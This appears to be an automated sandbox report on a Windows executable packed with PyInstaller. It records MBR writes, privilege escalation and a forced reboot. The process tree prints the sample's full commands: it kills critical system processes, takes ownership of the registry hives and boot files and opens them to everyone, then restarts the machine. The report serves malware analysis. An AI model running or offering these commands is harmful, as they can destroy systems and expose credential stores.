Analysis

  • max time kernel
    34s
  • max time network
    35s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/06/2026, 21:39

Errors

Reason
Machine shutdown

General

  • Target
    deepseek_python_20260620_d7059c.exe
  • Size 7.0MB
  • Sample260620-1h2bvaay2v
  • SHA256 1c14be0ec1d14a95faa91015cd2e74b67ef2210211f29cb5c2c160adaf910c80
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Possible privilege escalation attempt 20 IoCs
  • Loads dropped DLL 6 IoCs
  • Modifies file permissions 1 TTPs 20 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\deepseek_python_20260620_d7059c.exe
    "C:\Users\Admin\AppData\Local\Temp\deepseek_python_20260620_d7059c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6016
    • C:\Users\Admin\AppData\Local\Temp\deepseek_python_20260620_d7059c.exe
      "C:\Users\Admin\AppData\Local\Temp\deepseek_python_20260620_d7059c.exe"
      2⤵
      • Loads dropped DLL
      • Writes to the Master Boot Record (MBR)
      • Suspicious use of WriteProcessMemory
      PID:3232
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c taskkill /f /im winlogon.exe 2>nul
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1208
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im winlogon.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:5916
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c taskkill /f /im csrss.exe 2>nul
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5720
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im csrss.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:6572
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c taskkill /f /im lsass.exe 2>nul
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2564
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im lsass.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3440
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c taskkill /f /im services.exe 2>nul
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6972
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im services.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:920
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SYSTEM" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5584
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Windows\System32\config\SYSTEM" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:7008
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SYSTEM" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3964
        • C:\Windows\system32\icacls.exe
          icacls "C:\Windows\System32\config\SYSTEM" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:6884
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SOFTWARE" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3436
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Windows\System32\config\SOFTWARE" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3968
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SOFTWARE" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5504
        • C:\Windows\system32\icacls.exe
          icacls "C:\Windows\System32\config\SOFTWARE" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2348
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SAM" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2424
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Windows\System32\config\SAM" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:476
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SAM" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5480
        • C:\Windows\system32\icacls.exe
          icacls "C:\Windows\System32\config\SAM" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4812
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SECURITY" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1544
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Windows\System32\config\SECURITY" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:5568
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SECURITY" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3168
        • C:\Windows\system32\icacls.exe
          icacls "C:\Windows\System32\config\SECURITY" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:6608
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\DEFAULT" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:976
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Windows\System32\config\DEFAULT" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2900
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\DEFAULT" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4944
        • C:\Windows\system32\icacls.exe
          icacls "C:\Windows\System32\config\DEFAULT" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2396
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\bootstat.dat" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6196
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Windows\bootstat.dat" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3296
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\bootstat.dat" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6256
        • C:\Windows\system32\icacls.exe
          icacls "C:\Windows\bootstat.dat" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\Boot\BCD" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3956
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Boot\BCD" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:6332
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\Boot\BCD" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6392
        • C:\Windows\system32\icacls.exe
          icacls "C:\Boot\BCD" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2816
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Microsoft\Boot\*" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4824
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\EFI\Microsoft\Boot\*" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:5096
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Microsoft\Boot\*" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3136
        • C:\Windows\system32\icacls.exe
          icacls "C:\EFI\Microsoft\Boot\*" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4840
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winload.exe" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3012
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Windows\System32\winload.exe" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:6304
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winload.exe" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6828
        • C:\Windows\system32\icacls.exe
          icacls "C:\Windows\System32\winload.exe" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2584
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winload.efi" /a /r /d y >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5156
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Windows\System32\winload.efi" /a /r /d y
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2724
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winload.efi" /grant everyone:F /t /c /q >nul 2>&1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1996
        • C:\Windows\system32\icacls.exe
          icacls "C:\Windows\System32\winload.efi" /grant everyone:F /t /c /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4412
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c shutdown /r /t 5 /f
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4464
        • C:\Windows\system32\shutdown.exe
          shutdown /r /t 5 /f
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5880
  • C:\Windows\System32\PickerHost.exe
    C:\Windows\System32\PickerHost.exe -Embedding
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1664
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa39c2855 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:5832
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k CameraMonitor
    1⤵
      PID:1116

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\VCRUNTIME140.dll
          • Size 117KB
          • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\_bz2.pyd
          • Size 84KB
          • SHA256 1bf985b54f529a3cbb3e52532791cc4d4c64009142d37b54eb3521adec203d5c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\_ctypes.pyd
          • Size 131KB
          • SHA256 96b07339d52c74f2a1dd043df5eb931e4072eed90a3a8715ffec751d818e4117
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\_lzma.pyd
          • Size 155KB
          • SHA256 51815b6474d4216c6a2aeaffdae5d2ff4acb7a0236254f2cfe43247022f3d781
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\base_library.zip
          • Size 1.3MB
          • SHA256 0061ac3503aae419398511c234c46678c4a712d979c9d5b5a23fd580630035d2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\libffi-8.dll
          • Size 38KB
          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python313.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\python313.dll
          • Size 5.8MB
          • SHA256 6964e590037c41d631fd1215f05af154f7fa68105993c6f573a20689b473f1ac
          • MD5 SHA1 SHA512 SSDEEP TLSH